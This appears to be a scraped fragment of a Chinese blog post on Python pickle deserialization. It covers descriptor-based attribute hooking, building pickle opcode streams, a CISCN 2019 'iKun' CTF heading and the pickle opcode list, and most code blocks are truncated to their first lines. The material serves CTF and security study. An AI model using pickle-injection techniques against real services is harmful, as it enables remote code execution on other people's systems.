可清楚的看到,对属性 x 的操作都被 “hook” 住了,而 y 没有受影响。这就有个小问题,反序列化时没有额外的自定义类引入了,比如这里的 RevealAccess,怎么给指定属性进行代理呢?那就把自己作为一个描述符:)。
1 | class MyClass(object): |
把这个过程转为 pickle:
1 | cstructs |
看一下结果:
CISNC2019 iKun
1 | import pickle |
Python Opcode
pickle.py–>opcode
1 | # Pickle opcodes. See pickletools.py for extensive docs. The listing |
http://bendawang.site/2018/03/01/关于Python-sec的一些总结/
https://www.codercto.com/a/81823.html